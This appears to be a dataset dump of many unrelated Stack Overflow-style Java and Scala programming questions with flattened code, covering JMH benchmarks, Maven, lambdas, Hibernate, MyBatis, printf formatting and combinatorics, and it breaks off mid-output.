block without volatilesun.misc.Unsafe.compareAndSwap sun.misc.Unsafe.getAndAddUnsynchronizing countBenchmark code : And results of bench : JDK 8u20The most of measurement as I expect , except UnsafeCounter_Benchmark.unsafeCount which is used sun.misc.Unsafe.compareAndSwapLong with while loop . It the the slowest locking.I suggest that low performance is because of while loop and JMH makes higher contention , but when I 've checked correctness by Executors I get figures as I expect : Correctness test code : I know that it is very awful test , but in this case Unsafe CAS two times faster than Sync variants and everything goes as expected.Could somebody clarify described behavior ? For more information please see GitHub repo : Bench , Unsafe CAS counter","@ State ( Scope.Benchmark ) @ BenchmarkMode ( { Mode.Throughput , Mode.AverageTime } ) @ OutputTimeUnit ( TimeUnit.MICROSECONDS ) @ Fork ( 1 ) @ Warmup ( iterations = 5 ) @ Measurement ( iterations = 5 ) public class UnsafeCounter_Benchmark { public Counter unsync , syncNoV , syncV , lock , atomic , unsafe , unsafeGA ; @ Setup ( Level.Iteration ) public void prepare ( ) { unsync = new UnsyncCounter ( ) ; syncNoV = new SyncNoVolatileCounter ( ) ; syncV = new SyncVolatileCounter ( ) ; lock = new LockCounter ( ) ; atomic = new AtomicCounter ( ) ; unsafe = new UnsafeCASCounter ( ) ; unsafeGA = new UnsafeGACounter ( ) ; } @ Benchmark public void unsyncCount ( ) { unsyncCounter ( ) ; } @ CompilerControl ( CompilerControl.Mode.DONT_INLINE ) public void unsyncCounter ( ) { unsync.increment ( ) ; } @ Benchmark public void syncNoVCount ( ) { syncNoVCounter ( ) ; } @ CompilerControl ( CompilerControl.Mode.DONT_INLINE ) public void syncNoVCounter ( ) { syncNoV.increment ( ) ; } @ Benchmark public void syncVCount ( ) { syncVCounter ( ) ; } @ CompilerControl ( CompilerControl.Mode.DONT_INLINE ) public void syncVCounter ( ) { syncV.increment ( ) ; } @ Benchmark public void lockCount ( ) { lockCounter ( ) ; } @ CompilerControl ( CompilerControl.Mode.DONT_INLINE ) public void lockCounter ( ) { lock.increment ( ) ; } @ Benchmark public void atomicCount ( ) { atomicCounter ( ) ; } @ CompilerControl ( CompilerControl.Mode.DONT_INLINE ) public void atomicCounter ( ) { atomic.increment ( ) ; } @ Benchmark public void unsafeCount ( ) { unsafeCounter ( ) ; } @ CompilerControl ( CompilerControl.Mode.DONT_INLINE ) public void unsafeCounter ( ) { unsafe.increment ( ) ; } @ Benchmark public void unsafeGACount ( ) { unsafeGACounter ( ) ; } @ CompilerControl ( CompilerControl.Mode.DONT_INLINE ) public void unsafeGACounter ( ) { unsafeGA.increment ( ) ; } public static void main ( String [ ] args ) throws RunnerException { Options baseOpts = new OptionsBuilder ( ) .include ( UnsafeCounter_Benchmark.class.getSimpleName ( ) ) .threads ( 100 ) .jvmArgs ( `` -ea '' ) .build ( ) ; new Runner ( baseOpts ) .run ( ) ; } } Benchmark Mode Samples Score Error Unitso.k.u.u.UnsafeCounter_Benchmark.atomicCount thrpt 5 42.178 ± 17.643 ops/uso.k.u.u.UnsafeCounter_Benchmark.lockCount thrpt 5 24.044 ± 2.264 ops/uso.k.u.u.UnsafeCounter_Benchmark.syncNoVCount thrpt 5 22.849 ± 1.344 ops/uso.k.u.u.UnsafeCounter_Benchmark.syncVCount thrpt 5 20.235 ± 2.027 ops/uso.k.u.u.UnsafeCounter_Benchmark.unsafeCount thrpt 5 12.460 ± 1.326 ops/uso.k.u.u.UnsafeCounter_Benchmark.unsafeGACount thrpt 5 39.106 ± 2.966 ops/uso.k.u.u.UnsafeCounter_Benchmark.unsyncCount thrpt 5 93.076 ± 9.674 ops/uso.k.u.u.UnsafeCounter_Benchmark.atomicCount avgt 5 2.604 ± 0.133 us/opo.k.u.u.UnsafeCounter_Benchmark.lockCount avgt 5 4.161 ± 0.546 us/opo.k.u.u.UnsafeCounter_Benchmark.syncNoVCount avgt 5 4.440 ± 0.523 us/opo.k.u.u.UnsafeCounter_Benchmark.syncVCount avgt 5 5.073 ± 0.439 us/opo.k.u.u.UnsafeCounter_Benchmark.unsafeCount avgt 5 9.088 ± 5.964 us/opo.k.u.u.UnsafeCounter_Benchmark.unsafeGACount avgt 5 2.611 ± 0.164 us/opo.k.u.u.UnsafeCounter_Benchmark.unsyncCount avgt 5 1.047 ± 0.050 us/op public void increment ( ) { long before = counter ; while ( ! unsafe.compareAndSwapLong ( this , offset , before , before + 1L ) ) { before = counter ; } } Counter result : UnsyncCounter 97538676Time passed in ms:259Counter result : AtomicCounter 100000000Time passed in ms:1805Counter result : LockCounter 100000000Time passed in ms:3904Counter result : SyncNoVolatileCounter 100000000Time passed in ms:14227Counter result : SyncVolatileCounter 100000000Time passed in ms:19224Counter result : UnsafeCASCounter 100000000Time passed in ms:8077Counter result : UnsafeGACounter 100000000Time passed in ms:2549 public class UnsafeCounter_Test { static class CounterClient implements Runnable { private Counter c ; private int num ; public CounterClient ( Counter c , int num ) { this.c = c ; this.num = num ; } @ Override public void run ( ) { for ( int i = 0 ; i < num ; i++ ) { c.increment ( ) ; } } } public static void makeTest ( Counter counter ) throws InterruptedException { int NUM_OF_THREADS = 1000 ; int NUM_OF_INCREMENTS = 100000 ; ExecutorService service = Executors.newFixedThreadPool ( NUM_OF_THREADS ) ; long before = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < NUM_OF_THREADS ; i++ ) { service.submit ( new CounterClient ( counter , NUM_OF_INCREMENTS ) ) ; } service.shutdown ( ) ; service.awaitTermination ( 1 , TimeUnit.MINUTES ) ; long after = System.currentTimeMillis ( ) ; System.out.println ( `` Counter result : `` + counter.getClass ( ) .getSimpleName ( ) + `` `` + counter.getCounter ( ) ) ; System.out.println ( `` Time passed in ms : '' + ( after - before ) ) ; } public static void main ( String [ ] args ) throws InterruptedException { makeTest ( new UnsyncCounter ( ) ) ; makeTest ( new AtomicCounter ( ) ) ; makeTest ( new LockCounter ( ) ) ; makeTest ( new SyncNoVolatileCounter ( ) ) ; makeTest ( new SyncVolatileCounter ( ) ) ; makeTest ( new UnsafeCASCounter ( ) ) ; makeTest ( new UnsafeGACounter ( ) ) ; } }",Strange behavior in sun.misc.Unsafe.compareAndSwap measurement via JMH +Java,"When I create a new IntelliJ 2018.1 project from the Maven archetype maven-archetype-quickstart version 1.3 using Oracle 10.0.1 on macOS Sierra , I get this error when doing a Maven install . [ ERROR ] Failed to execute goal org.apache.maven.plugins : maven-surefire-plugin:2.20.1 : test ( default-test ) on project h2e2 : Execution default-test of goal org.apache.maven.plugins : maven-surefire-plugin:2.20.1 : test failed . : NullPointerException - > [ Help 1 ] I am running this directly after creating the new project . I am writing no code . I can run the default line : …by choosing Run 'App.main ( ) ' from the context menu clicked in the code editor . That works , but the Maven install fails.Executing clean and install in the Maven pane of IntelliJ does not solve the problem.If I switch IntelliJ File > Project Structure > Project > Project SDK > from 10.0.1 to 1.8.0_171 ( and set Project language level to 8 - Lambdas , type annotations etc . ) , then the Maven install succeeds . [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] BUILD SUCCESS [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- If I return that setting to Java 10 , the Maven install fails again , with same error.I am running external Maven 3.5.3 rather than IntelliJ ’ s bundled older version , for no particular reason.My older existing projects based on Java 8 have no problem . My only problem is trying to create new Maven-based quickstart projects using Java 10 .",public static void main ( String [ ] args ) { System.out.println ( `` Hello World ! '' ) ; },Run Maven archetype `` quickstart '' in Java 10 ? +Java,"I have a project where I want to access a resource in a JAR from another project . It 's not on my classpath , so ClassLoader is not an option . I tried : and received a FileNotFoundException.JarInputStream might be a possibility , but I want the flexibility of the input filename being a jar resource or just a file on the system ( user decides ) . Is there a class that can do this or do I have to build one myself ?",new FileInputStream ( `` C : \\mydir\\my.jar ! \\myresource.txt '' ) ;,Opening a JAR resource as a FileStream +Java,"I am facing a problem with this line ( commented below ) : which outputs false.However , System.out.println ( s3==s4 ) outputs true.Now , I am not able to understand why I am getting this result :",System.out.println ( `` Using == : : '' +s3==s4 ) public class string { public static void main ( String [ ] args ) { String s3= '' Shantanu '' ; String s4=s3 ; String s1=new String ( `` java '' ) ; String s2=new String ( `` javaDeveloper '' ) ; System.out.println ( `` Using Equals Method : : '' +s1.equals ( s2 ) ) ; System.out.println ( `` Using Equals Method : : '' +s3.equals ( s4 ) ) ; System.out.println ( `` Using == : : '' +s3==s4 ) ; //Problem is here in this line System.out.println ( s1+ '' Directly printing the s2 value which is autocasted from superclass to string subclass `` ) ; System.out.println ( `` Directly printing the s1 value which is autocasted from superclass to string subclass `` +s2 ) ; System.out.println ( s3 ) ; } } Output-Using Equals Method : :falseUsing Equals Method : :trueUsing == : :falsejava Directly printing the s2 value which is autocasted from superclass to string subclassDirectly printing the s1 value which is autocasted from superclass to string subclass javaDeveloper,Getting strange output when printing result of a string comparison +Java,"I am playing around with Scala.And I found 3 interesting things ( the title is the third one ) .1 a local variable declared as val is not interpreted as final.if i compile the above scala code into bytecode and then decompile that into java , it looks like this : we can see v2 is final , but v4 is not , why ? 2 scala compiler for .net adds override keyword to a lot of ( if not all ) public instance methodsif we compile the scala code shown above into CIL and then decompile it into C # , it 's like this : all public instance methods ( exclude the constructor ) are marked as override , why ? is that necessary ? 3 Scala compiler for .net looses the meaning of valin the above c # code , we can see that v2 is just a normal field , while in the java couter part , v2 is marked as final , should n't v2 be marked as readonly by the Scala compiler for .net ? ( a bug ? )",class HowAreVarAndValImplementedInScala { var v1 = 123 val v2 = 456 def method1 ( ) = { var v3 = 123 val v4 = 456 println ( v3 + v4 ) } } public class HowAreVarAndValImplementedInScala { private int v1 = 123 ; private final int v2 = 456 ; public int v1 ( ) { return this.v1 ; } public void v1_ $ eq ( int x $ 1 ) { this.v1 = x $ 1 ; } public int v2 ( ) { return this.v2 ; } public void method1 ( ) { int v3 = 123 ; int v4 = 456 ; Predef..MODULE $ .println ( BoxesRunTime.boxToInteger ( v3 + v4 ) ) ; } } public class HowAreVarAndValImplementedInScala : ScalaObject { private int v1 ; private int v2 ; public override int v1 ( ) { return this.v1 ; } public override void v1_ $ eq ( int x $ 1 ) { this.v1 = x $ 1 ; } public override int v2 ( ) { return this.v2 ; } public override void method1 ( ) { int v3 = 123 ; int v4 = 456 ; Predef $ .MODULE $ .println ( v3 + v4 ) ; } public HowAreVarAndValImplementedInScala ( ) { this.v1 = 123 ; this.v2 = 456 ; } },Why does Scala compiler for .NET ignore the meaning of val ? +Java,"I 've noticed a weird behavior for overloading methods with generics and lambdas . This class works fine : No ambiguous method call . However , changing it to this makes the second call ambiguous : How can this be ? Why would adding another argument cause the method resolution to be ambiguous ? Why can it tell the difference between a Supplier and an Object in the first example , but not the second ? Edit : This is using 1.8.0_121 . This is the full error message :","public < T > void test ( T t ) { } public < T > void test ( Supplier < T > t ) { } public void test ( ) { test ( `` test '' ) ; test ( ( ) - > `` test '' ) ; } public < T > void test ( Class < T > c , T t ) { } public < T > void test ( Class < T > c , Supplier < T > t ) { } public void test ( ) { test ( String.class , `` test '' ) ; test ( String.class , ( ) - > `` test '' ) ; // this line does not compile } error : reference to test is ambiguous test ( String.class , ( ) - > `` test '' ) ; ^ both method < T # 1 > test ( Class < T # 1 > , T # 1 ) in TestFoo and method < T # 2 > test ( Class < T # 2 > , Supplier < T # 2 > ) in TestFoo match where T # 1 , T # 2 are type-variables : T # 1 extends Object declared in method < T # 1 > test ( Class < T # 1 > , T # 1 ) T # 2 extends Object declared in method < T # 2 > test ( Class < T # 2 > , Supplier < T # 2 > ) /workspace/com/test/TestFoo.java:14 : error : incompatible types : can not infer type-variable ( s ) T test ( String.class , ( ) - > `` test '' ) ; ^ ( argument mismatch ; String is not a functional interface ) where T is a type-variable : T extends Object declared in method < T > test ( Class < T > , T )",Ambiguous method call when overloading method with generics and lambdas +Java,"This is , perhaps , a stupid question , but I 've found nothing on it elsewhere . I 'm going through the basics of Android , and when I try to create an intent specifically to run another activity of my choosing , the tutorial tells me to construct it this way : Where `` DisplayMessageActivity '' is the class for the activity I 'm running . What I do n't get is , what 's the `` .class '' part ? That parameter , as I understand it , is supposed to be a Class object . Is `` class '' a field of my Activity subclass ? Or when I say `` DisplayMessageActivity.class '' , am I referring to an actual .class file ( that seems a little weird ) ? Any help is appreciated !","Intent intent = new Intent ( this , DisplayMessageActivity.class ) ;","When creating an Android intent and specifying target activity , what is this `` .class '' syntax ?" +Java,"We have a Java web app with a hibernate backend that provides REST resources . Now we 're facing the task to implement a generic search that is controlled by the query parameters in our get request : or similar . We do n't want to predefine all possible parameters ( name , created_on , something ) We do n't want to have to analyze the request String to pick up control characters ( like > = ) nor do we do n't want to implement our own grammar to reflect things like _eq _like _goe and so on ( as an alternative or addition to control characters ) Is there some kind of framework that provides help with this mapping from GET request parameters to database query ? Since we know which REST resource we 're GETing we have the entity / table ( select ) . It probably will also be necessary to predefine the JOINs that will be executed in order to limit the depths of a search . But other than that we want the REST consuming client to be able to execute any search without us having to predefine how a certain parameter and a certain control sequence will get translated into a search.Right now I 'm trying some semi automatic solution building on Mysemas QueryDSL . It allows me to predefine the where columns and sort columns and I 'm working on a simple string comparison to detect things like '_like ' , '_loe ' , ... in a parameter and then activate the corresponding predefined part of the search . Not much different from an SQL String except that it 's SQL injection proof an type save . However I still have to tell my search object that it should be able to potentially handle a query `` look for a person with name like ' ? ? ? ' '' . Right now this is okay as we only consume the REST resource internally and isolate the actual search creation quite well . If we need to make a search do more we can just add more predefinitions for now . But should we make our REST resources public at some time in the future that wo n't be so great.So we 're wondering , there has to be some framework or best practice or recommended solution to approaching this . We 're not the first who want this . Redmine for example offers all of its resource via a REST interface and I can query at will . Or facebook with its Graph API . I 'm sure those guys did n't just predefine all possibilities but rather created some generic grammar . We 'd like to save as much as possible on that effort and use available solutions instead.Like I said , we 're using Hibernate so an SQL or HQL solution would be fine or anything that builds on entities like QueryDsl . ( Also there 's the security issue concerning SQL injection ) Any suggestions ? Ideas ? Will we just have to do it all ourselves ?",some/rest/resource ? name_like=foo & created_on > =2012-09-12 & sort_by_asc=something,Generate Search SQL from HTTP GET request parameters +Java,"I have a question . Where did these methods go ? I 've tried to browse git history for Dialect.java , but no luck . I found that something likeMultiTableBulkIdStrategy was created but I could n't find any example of how to use it.To the point ... I have legacy code ( using hibernate 4.3.11 ) which is doing batch delete frommultiple tables using temporary table . In those tables there may be 1000 rows , but also there maybe 10 milion rows . So just to make sure I do n't kill DB with some crazy delete I create temp table where I put ( using select query with some condition ) 1000 ids at onceand then use this temp table to delete data from 4 tables . It 's running in while cycle until all data based on some condition is not deleted.Transaction is commited after each cycle.To make it more complicated this code has to run on top of : mysql , mariadb , oracle , postgresql , sqlserver and h2.It was done using native SQL , with methods mentioned above . But not I ca n't find a way howto refactor it.My first try was to create query using nested select like this : delete from TABLE where id in ( select id from TABLE where CONDITION limit 1000 ) but this is way slower as I have to run select query multiple times for each delete and limit is not supported in nested select in HQL.Any ideas or pointers ? Thanks .",Dialect.supportsTemporaryTables ( ) ; Dialect.generateTemporaryTableName ( ) ; Dialect.dropTemporaryTableAfterUse ( ) ; Dialect.getDropTemporaryTableString ( ) ;,How to bulk delete records using temporary tables in Hibernate ? +Java,"I 'm trying to learn how the serialization works with Java and its lastest version . I 'm trying to serialize a lambda like this : But I notice that I have no warning about the absence of a serialVersionUID variable . Is it normal ? I know it will be generated at the runtime however it is strongly recommended to define it : https : //docs.oracle.com/javase/8/docs/api/java/io/Serializable.html If a serializable class does not explicitly declare a serialVersionUID , then the serialization runtime will calculate a default serialVersionUID value for that class based on various aspects of the class , as described in the Java ( TM ) Object Serialization Specification . However , it is strongly recommended that all serializable classes explicitly declare serialVersionUID values , since the default serialVersionUID computation is highly sensitive to class details that may vary depending on compiler implementations , and can thus result in unexpected InvalidClassExceptions during deserialization . Therefore , to guarantee a consistent serialVersionUID value across different java compiler implementations , a serializable class must declare an explicit serialVersionUID value . It is also strongly advised that explicit serialVersionUID declarations use the private modifier where possible , since such declarations apply only to the immediately declaring class -- serialVersionUID fields are not useful as inherited members . Array classes can not declare an explicit serialVersionUID , so they always have the default computed value , but the requirement for matching serialVersionUID values is waived for array classes.What should I do ? How can I define it in my Lambda ? Thanks",Runnable r = ( Runnable & Serializable ) ( ) - > { System.out.println ( `` This is a test '' ) ; } ;,serialized lambda and no serialVersionUID ? +Java,"MyBatis has this great feature of reusable SQL fragments in XML-based definition , such as : Is there a way to define and use such fragments in the annotation-based definition of the queries or is there no way around XMLs for this one ?","< mapper namespace= '' com.company.project.dao.someDao '' > < sql id= '' whereDate '' > WHERE date ( ` time ` ) BETWEEN # { startDate } AND # { endDate } < /sql > < sql id= '' someOtherSqlFragment '' > ... < /sql > < select id= '' getSomeData '' resultType= '' SomeClass '' parameterType= '' DateParam '' > SELECT some_column , another_column < /select > FROM some_table < include refid= '' whereDate '' / > < include refid= '' otherSqlFragment '' / > < /select > < /mapper >",Is there a way to reuse SQL fragments in annotation-based MyBatis/iBatis ? +Java,"I have been working on the Interview Street challenge Changing Bits in my spare time for a little over a week now and just spinning my wheels at this point so I am hoping someone might be able to give me a pointer or hint in the right direction . The basics of the challenge is taking two bit strings A & B and running a number of queries manipulating the two bit strings.Let A and B be two N bit numbers . You are given initial values for A and B , and you should write a program which processes three kinds of queries : set_a idx x : Set A [ idx ] to x , where 0 < = idx < N , where A [ idx ] isidx'th least significant bit of A.set_b idx x : Set B [ idx ] to x , where 0 < = idx < N.get_c idx : Print C [ idx ] , where C=A+B , and 0 < =idxWhere the bit numbers are length 1 to 100,000 and the program can have between 1 to 500,000 queries of any combination of set_a , set_b , or get_c . To minimize looping I am using C as a running total . When a bit in A or B changes , the changed bit is also added or subtracted , from C. Further minimizing looping when adding and subtracting is done from the changed bit to left hand while there is still a carry bit . Overall the program runs pretty well completing the worst edge case of bit length of 100,000 and 500,000 queries runs in about 120ms but it is still not fast enough for the purposes of the challenge . Due to the size of the bit length quickly exceeds the primitive integer ( long as well ) values in Java so most of the API is not applicable for this . As I am not making much progress increasing the overall run time magnitude is starting to suggest there might be an algorithm or data structure that is better suited for this than just an array . Any thoughts ?","private static void add ( final boolean [ ] the_array , final int the_index ) { for ( int iter = the_array.length - the_index - 1 ; iter > = 0 ; iter -- ) { if ( the_array [ iter ] ) { the_array [ iter ] = false ; } else if ( ! the_array [ iter ] ) { the_array [ iter ] = true ; return ; } } } private static void subtract ( final boolean [ ] the_array , final int the_index ) { for ( int iter = the_array.length - the_index - 1 ; iter > = 0 ; iter -- ) { if ( the_array [ iter ] ) { the_array [ iter ] = false ; return ; } else if ( ! the_array [ iter ] ) { the_array [ iter ] = true ; } } }",Java manipulating large bit numbers +Java,"So I 'm trying to explore Clojure 's internals and I 've come across something I 'm not quite sure I understand : From the REPL , I can access RT.var ( `` clojure.core '' , '' require '' ) just fine ( this is supposed to return the var associated with the `` require '' symbol in the `` clojure.core '' namespace ) : However , if I try to access it in what I thought was the same way ( I get an error that require already refers to something that exists . This is very strange because RT.var is the same as Var.intern , except with the arguments converted to a Namespace and Symbol respectively.I 'll do some more digging , but I 'm pretty stumped on this one . I 've already checked:1. nil is the same as null2 . I created var2 , which returns the namespace argument sent to Var.intern , and var3 , which returns the name argument sent to Var.intern . I then pass those two to Var.intern : Could this be a bug ?","user= > ( clojure.lang.RT/var `` clojure.core '' `` require '' ) # 'clojure.core/require user= > ( clojure.lang.Var/intern ( clojure.lang.Namespace/findOrCreate ( clojure.lang.Symbol/intern nil `` clojure.main '' ) ) ( clojure.lang.Symbol/intern nil `` require '' ) ) java.lang.IllegalStateException : require already refers to : # 'clojure.core/require in namespace : clojure.main ( NO_SOURCE_FILE:0 ) static public Var var ( String ns , String name ) { return Var.intern ( Namespace.findOrCreate ( Symbol.intern ( null , ns ) ) , Symbol.intern ( null , name ) ) ; } user= > ( clojure.lang.Var/intern ( clojure.lang.RT/var2 `` clojure.main '' `` require '' ) ( clojure.lang.RT/var3 `` clojure.main '' `` require '' ) ) java.lang.IllegalStateException : require already refers to : # 'clojure.core/require in namespace : clojure.main ( NO_SOURCE_FILE:0 )",Clojure weirdness with Var.intern and RT.var +Java,I have an Activity X which is only accessible after you 've entered a valid credential . How can I prevent other apps from calling startActivity with an Intent pointing to X ? e.g.Basically I do n't want Activity X to be exported to any apps except my app .,"Intent intent = new Intent ( this , ActivityX.class ) ; startActivity ( intent ) ;",Preventing apps from invoking my Activity +Java,"I am writing my own Java 8 Stream implementation and want to inherit the Javadocs from the original java.util.stream.Stream interface . However I can not get it working . The generated Javadoc does only show my documentation but not the documentation from the extended Stream interface.So for example , the javadoc of this method does only contain the text `` Some additional information '' but not the documentation from the Stream interface.This is my configuration of the maven-javadoc-plugin : Do I miss something in this configuration ? I set source and target to 1.8 in the maven-compiler-plugin . So according to the documentation of the maven-javadoc-plugin , the java API should be detected automatically.There was also a similar question on Stack Overflow but the answers there do not seem helpful .",/** * { @ inheritDoc } * Some additional information . */ @ Overridepublic Stream < T > filter ( Predicate < ? super T > predicate ) { // ... my stream implementation ... } < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-javadoc-plugin < /artifactId > < version > 2.10.1 < /version > < configuration > < links > < link > http : //docs.oracle.com/javase/8/docs/api/ < /link > < /links > < /configuration > < /plugin >,maven-javadoc-plugin and inheritDoc for Java API core classes +Java,"I 've been looking around at a lot of questions about the System.out.printf in java for formatting string outputs and I just do n't seem to understand how to use it . I 'm trying to print nice columns that looks like thisbut the best I can get is thisI seem to be able to align the first two values but never the third . Here is my codeI thought the `` -1s '' was left align for minus , and 1 would be the space between the first and second input , then % 10s would be ten characters apart , the % 10.2 would be ten apart with 2 decimal places . So I tried to dobut this still does n't get those third values inline with one another.Revised attempt usingresults in ... for the record my code is getting the variables like this :","601 GoPro Hero5 Black 276.95602 GoPro Hero5 Session 199.00611 Canon EOS Rebel 361.89 601 GoPro Hero5 Black 276.95602 GoPro Hero5 Session 199.00611 Canon EOS Rebel 361.89 System.out.printf ( `` % -1s % 10s % 10.2f\n '' , `` ex string '' , `` ex string '' , 276.95 ) ; System.out.printf ( `` % -1s % 10s % 20.2f\n '' , `` ex string '' , `` ex string '' , 276.95 ) ; System.out.printf ( `` % -10s % -10s % 10.2f\n '' , `` ex string '' , `` ex string '' , 276.95 ) ; 601 GoPro Hero5 Black 276.95602 GoPro Hero5 Session 199.00611 Canon EOS Rebel 361.89 System.out.printf ( `` % -10s % -10s % 10.2f\n '' , items.get ( i ) .getItemNumber ( ) , items.get ( i ) .getName ( ) , items.get ( i ) .getPrice ( ) ) ;",Formatting java strings with system.out.printf +Java,"So I 'm programming a recursive program that is supposed to draw Koch 's snowflake using OpenGL , and I 've got the program basically working except one tiny issue . The deeper the recursion , the weirder 2 particular vertices get . Pictures at the bottom.EDIT : I do n't really care about the OpenGL aspect , I 've got that part down . If you do n't know OpenGL , all that the glVertex does is draw a line between the two vertices specified in the 2 method calls . Pretend its drawLine ( v1 , v2 ) . Same difference.I suspect that my method for finding points is to blame , but I ca n't find anything that looks incorrect.I 'm following the basically standard drawing method , here are the relevant code snips ( V is for vertex V1 is the bottom left corner , v2 is the bottom right corner , v3 is the top corner ) : Recursive method : I really suspect my math is the problem , but this looks correct to me : N = 0 ( All is well ) : N = 1 ( Perhaps a little bendy , maybe ) N = 5 ( WAT )","double dir = Math.PI ; recurse ( V2 , V1 , n ) ; dir=Math.PI/3 ; recurse ( V1 , V3 , n ) ; dir= ( 5./3 . ) * Math.PI ; recurse ( V3 , V2 , n ) ; public void recurse ( Point2D v1 , Point2D v2 , int n ) { double newLength = v1.distance ( v2 ) /3 . ; if ( n == 0 ) { gl.glVertex2d ( v1.getX ( ) , v1.getY ( ) ) ; gl.glVertex2d ( v2.getX ( ) , v2.getY ( ) ) ; } else { Point2D p1 = getPointViaRotation ( v1 , dir , newLength ) ; recurse ( v1 , p1 , n-1 ) ; dir+= ( Math.PI/3 . ) ; Point2D p2 = getPointViaRotation ( p1 , dir , newLength ) ; recurse ( p1 , p2 , n-1 ) ; dir-= ( Math.PI* ( 2./3 . ) ) ; Point2D p3 = getPointViaRotation ( p2 , dir , newLength ) ; recurse ( p2 , p3 , n-1 ) ; dir+= ( Math.PI/3 . ) ; recurse ( p3 , v2 , n-1 ) ; } } public static Point2D getPointViaRotation ( Point2D p1 , double rotation , double length ) { double xLength = length * Math.cos ( rotation ) ; double yLength = length * Math.sin ( rotation ) ; return new Point2D.Double ( xLength + p1.getX ( ) , yLength + p1.getY ( ) ) ; }",Small bug in Koch 's Snowflake Implementation +Java,I am currently working with DNA sequences in the form of strings where introns are in lowercase and exons in uppercase characters . The aim of the method is to retrieve the exons in the form of a String as fast as possible.Example of a sequence : ATGGATGACAGgtgagaggacactcgggtcccagccccaggctctgccctcaggaagggggtcagctctcaggggcatctccctctcacagcccagccctggggatgatgtgggagccccatttatacacggtgcctccttctctcctagAGCCTACATAGMy first version was using the String replaceAll ( ) method but it was particularly slow : So I tried a new version which improved performance but remains fairly slow : Is there another way to do it which would improve performance ?,"public String getExons ( String sequence ) { return sequence.replaceAll ( `` [ atgc ] '' , `` '' ) ; } public String getExons ( String sequence ) { StringBuilder exonBuilder = new StringBuilder ( ) ; for ( int i = 0 ; i < sequence.length ( ) ; i++ ) { char c = sequence.charAt ( i ) ; if ( c == ' A ' || c == 'T ' || c == ' G ' || c == ' C ' ) exonBuilder.append ( c ) ; } return exonBuilder.toString ( ) ;",Fastest way to extract uppercase characters in Java +Java,"How can I optimize the next ( ) and hasNext ( ) methods in the following generator which produces combinations of a bounded multiset ? ( I posted this to C++ as well as Java because the code is C++-compatible and has no Java-specific elements that do not convert directly to C++.The specific areas of the algorithm which are problematic are the entire hasNext ( ) method which may be unnecessarily complicated , and the line : if ( current [ xSlot ] > 0 ) aiItemsUsed [ current [ xSlot ] ] -- ; which has an if-statement I think could be removed somehow . I had an earlier version of the algorithm which had some of the backtracking before the return statement and consequently had a much simpler hasNext ( ) test , but I could not get that version to work.The background of this algorithm is that it is very difficult to find . For example , in Knuth 7.2.1.3 he merely says that it can be done ( and gives an exercise to prove that the algorithm is possible ) , but does not give an algorithm . Likewise , I have half a dozen advanced texts on combinatorics ( including Papadimitriou and Kreher/Stimson ) and none of them give an algorithm for generating combinations of a multiset . Kreher leaves it as an `` exercise for the reader '' . Anyway , if you can improve the algorithm as above or provide a reference to a working implementation more efficient than mine I would appreciate it . Please give only iterative algorithms ( no recursion , please ) .ADDITIONAL INFOSome of the respondents so far seem to not understand the difference between a set and a bounded multiset . A bounded multiset has repeating elements . For example { a , a , b , b , b , c } is a bounded multiset , which would be encoded as { 3 , 2 , 3 , 1 } in my algorithm . Note that the leading `` 3 '' is the number of item types ( unique items ) in the set . If you supply an algorithm , then the following test should produce the output as shown below .","/** The iterator returns a 1-based array of integers . When the last combination is reached hasNext ( ) will be false . * @ param aiItems One-based array containing number of items available for each unique item type where aiItems [ 0 ] is the number of item types * @ param ctSlots The number of slots into which the items go * @ return The iterator which generates the 1-based array containing the combinations or null in the event of an error . */public static java.util.Iterator < int [ ] > combination ( final int [ ] aiItems , final int ctSlots ) { // multiset combination into a limited number of slots CombinatoricIterator < int [ ] > iterator = new CombinatoricIterator < int [ ] > ( ) { int xSlot ; int xItemType ; int ctItemType ; int [ ] current = new int [ ctSlots + 1 ] ; int [ ] aiItemsUsed = new int [ aiItems [ 0 ] + 1 ] ; { reset ( ) ; current [ 0 ] = ctSlots ; ctItemType = aiItems [ 0 ] ; } public boolean hasNext ( ) { int xUseSlot = ctSlots ; int iCurrentType = ctItemType ; int ctItemsUsed = 0 ; int ctTotalItemsUsed = 0 ; while ( true ) { int xUsedType = current [ xUseSlot ] ; if ( xUsedType ! = iCurrentType ) return true ; ctItemsUsed++ ; ctTotalItemsUsed++ ; if ( ctTotalItemsUsed == ctSlots ) return false ; if ( ctItemsUsed == aiItems [ xUsedType ] ) { iCurrentType -- ; ctItemsUsed = 0 ; } xUseSlot -- ; } } public int [ ] next ( ) { while ( true ) { while ( xItemType == ctItemType ) { xSlot -- ; xItemType = current [ xSlot ] ; } xItemType++ ; while ( true ) { while ( aiItemsUsed [ xItemType ] == aiItems [ xItemType ] & & xItemType ! = current [ xSlot ] ) { while ( xItemType == ctItemType ) { xSlot -- ; xItemType = current [ xSlot ] ; } xItemType++ ; } if ( current [ xSlot ] > 0 ) aiItemsUsed [ current [ xSlot ] ] -- ; current [ xSlot ] = xItemType ; aiItemsUsed [ xItemType ] ++ ; if ( xSlot == ctSlots ) { return current ; } xSlot++ ; } } } public int [ ] get ( ) { return current ; } public void remove ( ) { } public void set ( int [ ] current ) { this.current = current ; } public void setValues ( int [ ] current ) { if ( this.current == null || this.current.length ! = current.length ) this.current = new int [ current.length ] ; System.arraycopy ( current , 0 , this.current , 0 , current.length ) ; } public void reset ( ) { xSlot = 1 ; xItemType = 0 ; Arrays.fill ( current , 0 ) ; current [ 0 ] = ctSlots ; Arrays.fill ( aiItemsUsed , 0 ) ; aiItemsUsed [ 0 ] = aiItems [ 0 ] ; } } ; return iterator ; } private static void combination_multiset_test ( ) { int [ ] aiItems = { 4 , 3 , 2 , 1 , 1 } ; int iSlots = 4 ; java.util.Iterator < int [ ] > iterator = combination ( aiItems , iSlots ) ; if ( iterator == null ) { System.out.println ( `` null '' ) ; System.exit ( -1 ) ; } int xCombination = 0 ; while ( iterator.hasNext ( ) ) { xCombination++ ; int [ ] combination = iterator.next ( ) ; if ( combination == null ) { System.out.println ( `` improper termination , no result '' ) ; System.exit ( -1 ) ; } System.out.println ( xCombination + `` : `` + Arrays.toString ( combination ) ) ; } System.out.println ( `` complete '' ) ; } 1 : [ 4 , 1 , 1 , 1 , 2 ] 2 : [ 